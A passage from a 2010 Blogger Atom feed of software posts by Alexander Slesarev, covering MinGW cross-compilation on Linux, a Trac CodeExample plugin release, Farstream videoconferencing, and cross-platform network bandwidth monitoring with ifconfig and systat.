rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_b8spDATDZH0/TLk5T1IuJfI/AAAAAAAAANY/6ebxT5ghnvY/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4207225525221174032</id><published>2010-10-15T21:02:00.000-07:00</published><updated>2010-10-15T21:02:12.621-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='mingw'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Cross-compilation in Linux</title><content type='html'>Sometimes it is necessary to create Windows application from Linux. I will briefly introduce the method for it in the article.&lt;br /&gt;
&lt;br /&gt;
The basic principle is simple and common for all cross-compilations (e.g., creating Symbian applications in Linux/Windows or other desktop OS):&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Get and install a toolchain for target platform (compiler, linker and other tools);&lt;/li&gt;
&lt;li&gt;Compile all required frameworks using this toolchain (for example, GStreamer, Qt, wxWidgets etc)&lt;/li&gt;
&lt;li&gt;Compile your own project with this toolchain and precompiled frameworks.&lt;/li&gt;
&lt;/ol&gt;
For creating Windows applications from Linux you can use MingWG: &lt;a href="http://www.mingw.org/"&gt;Minimalist GNU for Windows&lt;/a&gt;. The installation is pretty easy:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo apt-get install mingw32&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As an example, let's compile a simple Windows application with a message box (msgbox.c file):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;#include &amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LPSTR lpCmdLine, int nCmdShow)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;{&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; MessageBoxW(0, L"Hello from Linux!\n", L"MinGW app", MB_ICONEXCLAMATION);&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; return 0;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
MingGW includes all headers and libraries to compile such kind of the applications. If you want to use something serious (like Qt-based applications), you have to precompile Qt from sources using MinGW.&lt;br /&gt;
&lt;br /&gt;
Compilation is pretty easy too for that case:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ i586-mingw32msvc-cc msgbox.c -o msgbox.exe -Wl,-subsystem,windows&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
MinGW contains two kind of compilers - for x86 and for x86_64 platforms, so use the required compiler. Additionally, we set up the subsystem flag (MinGW compile applications as console-based by default).&lt;br /&gt;
&lt;br /&gt;
That's all. Upload the the output application to the Windows OS and enjoy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4207225525221174032?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4207225525221174032/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/10/cross-compilation-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4207225525221174032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4207225525221174032'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/10/cross-compilation-in-linux.html' title='Cross-compilation in Linux'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4299853183081191770</id><published>2010-09-29T01:19:00.000-07:00</published><updated>2010-09-29T01:19:25.238-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='trac'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>CodeExample plugin for Trac version 1.0 has been released</title><content type='html'>The CodeExample renders a code example box that supports syntax highlighting. It support three types of examples: simple, correct, and incorrect.&lt;br /&gt;&lt;br /&gt;
I've made the major changes to the plugin and now it is fully compatible with Trac 0.11 and Trac 0.12.&lt;br /&gt;
&lt;br /&gt;
Changelog from version 0.3:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Support for multiply repositories (Trac 0.12 and upper) has been added.&lt;/li&gt;
&lt;li&gt;Collapsing/expanding code blocks have been implemented.&lt;/li&gt;
&lt;li&gt;Ability to change title has been added.&lt;/li&gt;
&lt;li&gt;Options using has been reimplemented.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Two examples (the first gets source from repository, the second contains the code inside):&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;{{{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#!CodeExample&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## type = good&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## title = GPGData sample code&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## repo = MacGPGME&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## path=GPGData.m&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## regex="static void releaseCallback\(.*"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## lines=4&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#!objective-c&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;}}}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;{{{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#!CodeExample&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;## type = bad&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#!haskell&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;fibs = 0 : 1 : [ a + b | a &amp;lt;- fibs | b &amp;lt;- tail fibs ]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;}}}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
These will be rendered as:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_b8spDATDZH0/TKL1fn6-3RI/AAAAAAAAANU/I-ykXTN48fo/s1600/codeexample.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="100" src="http://2.bp.blogspot.com/_b8spDATDZH0/TKL1fn6-3RI/AAAAAAAAANU/I-ykXTN48fo/s400/codeexample.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
See details on trac-hacks &lt;a href="http://trac-hacks.org/wiki/CodeExampleMacro"&gt;CodeExampleMacro&lt;/a&gt; page.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4299853183081191770?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4299853183081191770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/09/codeexample-plugin-for-trac-version-10.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4299853183081191770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4299853183081191770'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/09/codeexample-plugin-for-trac-version-10.html' title='CodeExample plugin for Trac version 1.0 has been released'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_b8spDATDZH0/TKL1fn6-3RI/AAAAAAAAANU/I-ykXTN48fo/s72-c/codeexample.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4656962628113820720</id><published>2010-09-20T19:09:00.003-07:00</published><updated>2010-09-20T19:22:01.964-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='gstreamer'/><category scheme='http://www.blogger.com/atom/ns#' term='farstream'/><title type='text'>Using Farstream for videoconferencing</title><content type='html'>I see a lot of comments about Gstreamer videoconferencing abilities, so I want&amp;nbsp;to continue this topic and say a few words about the &lt;a href="http://www.collabora.co.uk/projects/farstream/"&gt;Farstream&lt;/a&gt; project.&lt;br /&gt;
&lt;br /&gt;
Gstreamer is the one of &lt;a href="http://www.collabora.co.uk/"&gt;Collabora's&lt;/a&gt; flagship projects. This company is developing other projects based on Gstreamer, and Farstream is exact project for audio and video conferencing. With Farstream, businesses can easily create a multi-platform, 
multi-user audio/video conference solution that supports a wide range of
 codecs. Simply put, Farstream (formerly Farsight) is an advanced 
VoIP/video streaming engine capable of dealing with all known 
audio/video conferencing protocols.&lt;br /&gt;
&lt;br /&gt;
Quote from the project description:&lt;br /&gt;
&lt;blockquote&gt;
&lt;span class="Apple-style-span" style="font-family: Helvetica, 'Helvetica LT Std', Arial, sans-serif; font-size: 16px; line-height: 19px;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Helvetica, 'Helvetica LT Std', Arial, sans-serif; font-size: 16px; line-height: 19px;"&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 13px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 503px;"&gt;
Philippe Kalaf began the Farstream project in 2005. He was aiming to create a simple-to-use framework that implemented multiple audio/video streaming protocols.&lt;/div&gt;
&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 13px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 503px;"&gt;
Most of the initial work on Farstream focused on the protocol agnostic API and the RTP plugin. Over the years, the RTP plugin has matured into a very complete RTP stack included support for all advanced features such as multi-user conferencing, RTCP enabled lip-sync, on-the-fly codec switching and many others. The Farstream team then started working on integrating libnice's ICE stack which provides for near 95% NAT traversal capabilities. Alternatively, Farstream's RTP plugin can use raw UDP or multicast UDP as well as the Google and MSN flavors of ICE that are currently deployed.&lt;/div&gt;
&lt;/span&gt;&lt;/blockquote&gt;
See more on &lt;a href="http://farsight.freedesktop.org/wiki/"&gt;wiki&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Let's go straight to practice. Install the python-farsight package and clone the sources:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
$ sudo apt-get install python-farsight&lt;br /&gt;
$ git clone git://git.collabora.co.uk/git/farsight2.git &lt;/div&gt;
&lt;br /&gt;
Go to farsight2/examples/gui and start fs2-gui.py:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
$ cd farsight2/examples/gui&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
$ ./fs2-gui.py &lt;/div&gt;
&lt;br /&gt;
In this application you can start the server as well as the client instance:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TJgSChfisdI/AAAAAAAAANE/KRc520iRiIA/s1600/start.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_b8spDATDZH0/TJgSChfisdI/AAAAAAAAANE/KRc520iRiIA/s320/start.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
As a parameter for the application you can pass a GStreamer source element like &lt;b&gt;v4l2src&lt;/b&gt;. By default it uses test sources. The application is not so stable and smooth, but don't forget that it's an example.&lt;br /&gt;
&lt;br /&gt;
Basically, it's all - see the sources as reference for using in your applications. The application in working mode looks like this one:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TJgSJHF4eQI/AAAAAAAAANM/m85WymPrBH8/s1600/fs-gui.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_b8spDATDZH0/TJgSJHF4eQI/AAAAAAAAANM/m85WymPrBH8/s320/fs-gui.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The Farstream library is licensed under LGPL 2.1 or later, so it can be used in commercial applications, but if you change its sources you have to contribute it back. Good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4656962628113820720?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4656962628113820720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/09/using-farstream-for-videoconferencing.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4656962628113820720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4656962628113820720'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/09/using-farstream-for-videoconferencing.html' title='Using Farstream for videoconferencing'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_b8spDATDZH0/TJgSChfisdI/AAAAAAAAANE/KRc520iRiIA/s72-c/start.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-42485573027611951</id><published>2010-08-20T20:13:00.000-07:00</published><updated>2010-08-20T20:13:41.759-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='pmacct'/><category scheme='http://www.blogger.com/atom/ns#' term='ifconfig'/><category scheme='http://www.blogger.com/atom/ns#' term='libpcap'/><category scheme='http://www.blogger.com/atom/ns#' term='systat'/><title type='text'>Monitoring network bandwidth usage</title><content type='html'>During the development of my monitoring tool, I've faced a little challenge - find a crossplatform (Linux/FreeBSD) way to monitor network bandwidth usage. Surprisingly, there is no simple way to do it. In this post I'll reveal my research and the solution I've found and implemented.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Linux&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
One of the ways to do it is using &lt;b&gt;ifconfig&lt;/b&gt; output:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;$ ifconfig eth0&lt;br /&gt;
eth0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Link encap:Ethernet&amp;nbsp; HWaddr 00:23:54:15:54:96 &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet addr:192.168.1.4&amp;nbsp; Bcast:192.168.1.255&amp;nbsp; Mask:255.255.255.0&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet6 addr: fe80::223:54ff:fe15:5496/64 Scope:Link&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UP BROADCAST RUNNING MULTICAST&amp;nbsp; MTU:1500&amp;nbsp; Metric:1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RX packets:23242 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TX packets:22369 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; collisions:0 txqueuelen:1000 &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;RX bytes:24061454 (24.0 MB)&amp;nbsp; TX bytes:3265008 (3.2 MB)&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Interrupt:30 Base address:0xe000 &lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
We can ask for RX (received) and TX (transmitted) bytes each second, and the differences give us the required speeds. This tool&amp;nbsp;use &lt;b&gt;/proc/net/dev&lt;/b&gt; data for showing the statistic.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;FreeBSD&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This OS have the standard tool - &lt;b&gt;systat&lt;/b&gt;.&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;% systat -if 1&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /0&amp;nbsp;&amp;nbsp; /1&amp;nbsp;&amp;nbsp; /2&amp;nbsp;&amp;nbsp; /3&amp;nbsp;&amp;nbsp; /4&amp;nbsp;&amp;nbsp; /5&amp;nbsp;&amp;nbsp; /6&amp;nbsp;&amp;nbsp; /7&amp;nbsp;&amp;nbsp; /8&amp;nbsp;&amp;nbsp; /9&amp;nbsp;&amp;nbsp; /10&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Load Average&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Interface&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Traffic&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Peak&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Total&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; age0&amp;nbsp; in&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0,000 KB/s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 107,444 KB/s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2,230 MB&lt;/span&gt;&lt;br style="font-family: 